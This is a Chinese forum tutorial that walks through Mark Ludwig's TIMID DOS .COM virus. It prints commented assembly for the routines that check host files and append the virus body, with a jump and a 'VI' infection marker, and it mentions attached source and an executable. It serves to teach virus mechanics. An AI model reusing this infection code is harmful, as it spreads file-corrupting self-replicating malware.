病毒机理详解(DOS下的.COM病毒)
[size=10.5pt][font=宋体]病毒机理详解(dos下的.com 病毒)[/font][/size][size=10.5pt][/size][size=10.5pt][/size]
[size=10.5pt][font=宋体]环境:WINDOWS XP.[/font][/size][size=10.5pt][/size]
[size=10.5pt][font=宋体]工具:Turbo Assembler Version 4.1[/font][/size][size=10.5pt][/size]
[size=10.5pt][/size]
[size=10.5pt][font=宋体]参考资料:<<the little black book of computer viurs>> by Mark Ludwig[/font][/size][size=10.5pt][/size]
[size=10.5pt]<<the giant black book of computer viurs>> by Mark Ludwig[/size][size=10.5pt][/size]
[size=10.5pt][b]<<THE ART OF COMPUTER VIRUS RESEARCH AND DEFENSE>>[/b][/size][size=10.5pt]By Peter Szor[/size][size=10.5pt][/size]
[size=10.5pt]<<DOS Programmer's Reference[font=宋体], 4th >>by Terry Dettman [/font][/size][size=10.5pt]and [/size][size=10.5pt]AllenL.Wyatt[font=宋体], Sr. [/font][/size][size=10.5pt][/size]
[size=10.5pt]<<80x86[font=宋体]汇编语言程序设计教程>>----杨季文.[/font][/size][size=10.5pt][/size]
[size=10.5pt][/size]
[size=10.5pt][font=宋体]病毒源码来自<<the little black book of computer viurs>> by Mark Ludwig[/font][/size][size=10.5pt][/size]
[size=10.5pt][/size]
[size=10.5pt][/size]
[size=10.5pt][font=宋体]首先声明,写这篇文章的目的是为了感谢netexpert为我提供了很多有用的资料,感觉找到了组织(呵呵).于是我从我电脑的最底层把以前看过的东西翻出来,于是有了这篇文章.因为是第一次写文章,写的不好,请大家多指教....[/font][/size][size=10.5pt][/size]
[size=10.5pt][/size]
[size=10.5pt][font=宋体]相关知识简单复习:[/font][/size][size=10.5pt][/size]
[size=10.5pt]DOS[font=宋体]的文件系统, DOS下的.COM文件结构.80X86汇编语言.(自己看一下,懒得说了,嘿嘿..)[/font][/size][size=10.5pt][/size]
[size=10.5pt][/size]
[size=10.5pt]1.[/size][size=10.5pt][font=宋体]病毒的常规运行机制:[/font][/size][size=10.5pt][/size]
[size=10.5pt][font=宋体]查找寄主文件文件----->感染文件文件------>清理感染过程中留下来的"足迹"(反侦探)[/font][/size][size=10.5pt][/size]
[size=10.5pt][/size]
[size=10.5pt]2.[/size][size=10.5pt][font=宋体]病毒的常规结构:[/font][/size][size=10.5pt][/size]
[size=10.5pt][font=宋体]根据运行机制可知,病毒常规结构为:查找函数,感染函数,反侦探函数.(当然,很多病毒还 有DESTROY函数)[/font][/size][size=10.5pt][/size]
[img=258,260]file:///C:/DOCUME%7E1/WANGLE%7E1/LOCALS%7E1/Temp/ksohtml/wps_clip_image1.png[/img]
[size=10.5pt][font=宋体]该图来自<<the little black book of computer viurs>> by Mark Ludwig
[/font][/size] [size=10.5pt]1.[/size][size=10.5pt][font=宋体]下面开始进入TIMID.ASM病毒代码的讲解,个人觉得这是认识病毒机理的最好办法.[/font][/size][size=10.5pt][/size]
[size=10.5pt] [font=宋体]该病毒由三个函数组成,FIND_FILE, FILE_OK和INFECT.[/font][/size][size=10.5pt][/size]
[size=10.5pt][font=宋体]函数作用如下:[/font][/size][size=10.5pt][/size]
[size=10.5pt]FIND_FILE:[font=宋体]用来查找寄主的函数,在FIND_FILE函数中调用FILE_OK函数来判断该文件是否合适做寄主(原因会在下面给出).[/font][/size][size=10.5pt][/size]
[size=10.5pt]FILE_OK:[font=宋体]如上所述.[/font][/size][size=10.5pt][/size]
[size=10.5pt]INFECT:[font=宋体]感染文件.[/font][/size][size=10.5pt][/size]
[size=10.5pt]([font=宋体]因为这只是用来学习的,所以该病毒只能给感染当前文件夹下的.COM文件,作者也没有对"反侦探"模块大动干戈, 只做了最简单的处理,所以不再单独给出ANTI_DETECT函数).[/font][/size][size=10.5pt][/size]
[size=10.5pt][/size]
[size=10.5pt]2.[/size][size=10.5pt][font=宋体]该病毒的执行过程为:[/font][/size][size=10.5pt][/size]
[size=10.5pt]A:[font=宋体]调用FIND_FILE查找当前文件夹下的所有文件[/font][/size][size=10.5pt][/size]
[size=10.5pt]B:[font=宋体]调用FINE_OK来判断该文件是否适合做寄主,主要有以下条件:[/font][/size][size=10.5pt][/size]
[size=10.5pt][font=宋体]该文件是.COM文件[/font][/size][size=10.5pt][/size]
[size=10.5pt][font=宋体]还有足够的空间放病毒(因为.COM文件至多只能是64K)[/font][/size][size=10.5pt][/size]
[size=10.5pt][font=宋体]该文件还未被感染.(否则导致重复感染同一文件)[/font][/size][size=10.5pt][/size]
[size=10.5pt]C:[font=宋体]若找到合适文件,则调用INFECT函数感染函数(只是简单的把本身复制到寄主尾部).[/font][/size][size=10.5pt][/size]
[size=10.5pt][/size]
[size=10.5pt]3.[/size][size=10.5pt][font=宋体]具体讲解:[/font][/size][size=10.5pt][/size]
[size=10.5pt][font=宋体]我们先从FIND_FILE入手.[/font][/size][size=10.5pt][/size]
[size=10.5pt][font=宋体]以下是FIND_FILE的流程图:[/font][/size][size=10.5pt][/size]
[size=10.5pt][font=宋体]该图来自<<the little black book of computer viurs>> by Mark Ludwig[/font][/size]
[size=10.5pt][/size]
VIRUS
如下图: 代码中已经解释的很清楚,这里就不再对FIND_FILE解释了...我们现在来看一下FILE_OK函数.上面说到条件:.COM文件,足够的空间放病毒且该文件还未被感染,那我们是怎样实现的?如下:
COM文件:我们通过设置匹配符*.COM实现
足够的空间:通过先计算文件大小,再加上病毒大小,看它是否超过64K(很简单吧)
是否感染:通过修改寄主的开始部分,修改成我们的标志,当我们感染一个新的文件时,判 断一下开始部分是否是我的标志就OK了.
具体代码如下:(截图太大,只好放代码了)
FILE_OK:
mov dx,OFFSET FNAME ;把查找得到的文件名放到dx,做打开文件的准备.
mov ax,3D02H ;以读写权限打开文件.
int 21H
jc FOK_NZEND ;打开文件出错(Z=0),并返回Z=0(Z是标志们,下同)
mov bx,ax ;保存文件句柄到bx寄存器
push bx ;并把它保存到堆栈,因为以后还要用到它.
mov cx,5 ;下面把该文件的开始的五字节读入START_IMAGE
mov dx,OFFSET START_IMAGE
mov ah,3FH
int 21H ;AH = 21H是读功能,具体见附件-相关DOS功能调用.
pop bx ;与84行相对应,把句柄弹到bx.
mov ah,3EH
int 21H ;关闭文件(打开了当然要关闭啦)
mov ax,WORD PTR [FSIZE] ;取查找到的文件的大小.
add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;再加上病毒大小
jc FOK_NZEND ;比较一下看是否超过64K
;即标志位C=1
cmp BYTE PTR [START_IMAGE],0E9H ;有足够空间的话
;再看一上它有没有被感染过
jnz FOK_ZEND
cmp WORD PTR [START_IMAGE+3],4956H
jnz FOK_ZEND ;还没有被感染,返回Z=1
FOK_NZEND:
mov al,1 ;这个文件不合适
or al,al ;返回Z=0
ret
FOK_ZEND:
xor al,al ;这个文件合适,返回Z=1
ret
;-------------------------------------------------------------------------- 这里可以就要解释一下了:
78, 94行的FNAME, FSIZE是怎样得来的,我们在FIND_FILE 函数中都没有涉及到???
关键是FIND_FILE中63行的"第一次查找函数", 当我们调用这个DOS功能时,DOS自 动把该文件有关信息填充到磁盘传送区(DTA)中(磁盘传送区(DTA)是Program Segment Prefix中的一部分),我们只要到相应的位置取出我们要的信息就OK了.
其余还有看不懂的,先放着,下面都会有解释...
当我们找到合适的文件时,我们就要感染它了...具体有以下步骤:
A:把已经在内存中运行的病毒体添加到查找到的文件尾部.
B:修改文件的开始部分,让执行该文件时,先执行我们的病毒.并且做了已经感染的标志.我们通过在开始部分写上一个近跳转语句(E9H)和我们的标志(VI). ;--------------------------------------------------------------------------
INFECT:
mov dx,OFFSET FNAME
mov ax,3D02H ;以读写权限打开已经检查过的文件
int 21H
mov WORD PTR [HANDLE],ax ;把句柄保存到[HANDLE]
xor cx,cx
mov dx,cx
mov bx,WORD PTR [HANDLE]
mov ax,4202H ;把文件指针设置到准备感染的文件尾部
int 21H
mov cx,OFFSET FINAL - OFFSET VIRUS ;要写的字节数,即病毒大小
mov dx,[VIR_START] ;内在中开始写的位置
mov bx,WORD PTR [HANDLE] ;保存句柄到bx
mov ah,40H ;将病毒体添加到文件的尾部
int 21H
xor cx,cx
mov dx,WORD PTR [FSIZE] ;先把文件指针定位到新写入进去的病毒体中
add dx,OFFSET START_CODE - OFFSET VIRUS ;的START_CODE位置(写入的位置)
mov bx,WORD PTR [HANDLE] ;在这里将保存未被感染前的开始的5字节
mov ax,4200H
int 21H
mov cx,5 ;把内存中正在运行的病毒的变量START_IMAGE中
mov bx,WORD PTR [HANDLE] ;的内容写到刚感染的病毒体的START_CODE变量中
mov dx,OFFSET START_IMAGE
mov ah,40H
int 21H
xor cx,cx ;把文件指针设置回感染的文件开始部分
mov dx,cx ;开始修改被感染文件的头部
mov bx,WORD PTR [HANDLE]
mov ax,4200H
int 21H
; mov bx,[VIR_START] ;原程序中的多余部分,可能是作者的不小心吧.
;所以我把它注释掉了
;START_IMAGE里的值不再有用了下面
;我们利用START_IMAGE来构造我们想写到
;文件开关的五个字节
mov BYTE PTR [START_IMAGE],0E9H ;第一个字节是E9H
mov ax,WORD PTR [FSIZE] ;然后是需跳转的字节数
add ax,OFFSET VIRUS_START-OFFSET VIRUS-3
mov WORD PTR [START_IMAGE+1],ax
mov WORD PTR [START_IMAGE+3],4956H ;最后把'VI'写入,作为已感染标志
mov cx,5 ;最后我们把在START_IMAGE构造的东西写
mov dx,OFFSET START_IMAGE ;到文件开头号,感染结束
mov bx,WORD PTR [HANDLE]
mov ah,40H
int 21H
mov bx,WORD PTR [HANDLE] ;记住关闭打开的文件
mov ah,3EH
int 21H
ret 这里是病毒最难的部分,看不懂没关系,下边有很详细的解释:
158行的跳转字节数为什么减3??
因为DOS在执行程序时,遇到跳出转语句时,它是从跳转语句尾开始算跳转字节数的,所以要减掉跳转语句所占的字节数
START_IMAGE 和 START_CODE作用???
这就是鸡生蛋,蛋生鸡的问题了.不过弄懂了就很简单了.
首先要认识到我们的每个病毒体里都有START_IMAGE 和 START_IMAGE变量.
START_IMAGE保存新被感染的原文件的原来的开始部分,就是没有去改之前的.
START_CODE保存的是病毒所在的文件的原来的开始部分,
在内存中运行的病毒先把即将被感染的文件的开始部分读到它的START_IMAGE中,然后在把病毒体写进磁盘上的文件尾部后,把它(内存中的病毒)的START_IMAGE中的保存的内容写进磁盘上的病毒的START_CODE中,这样,磁盘上的病毒体中的START_CODE变量就保存了它(磁盘上的病毒)所感染感染的文件的原来的开始部分.处理完这些后,感染已经成功了. 接下来要让内存中已经感染的文件继续执行,因为内存中的病毒也是附在文件的尾部的,我们通过跳转语句先让病毒执行,感染后就要内存中的寄主程序继续执行,我们用以下代码来实现: 还有关于数据的存储,重定位问题,这些都不是查毒的关键了,我这里就不再介绍了.具体见附件的代码.
好,到此结束,谢谢大家. 附件内容:病毒的源代码和可执行文件及没有贴上去的图: 相关DOS调用资料 这是DOC格式的,里面有贴图,容易看很多. 谢谢LZ 的共享,真的很感谢!:handshake 虽然看的不太懂但是还是要顶啊,好贴!
页:
[1]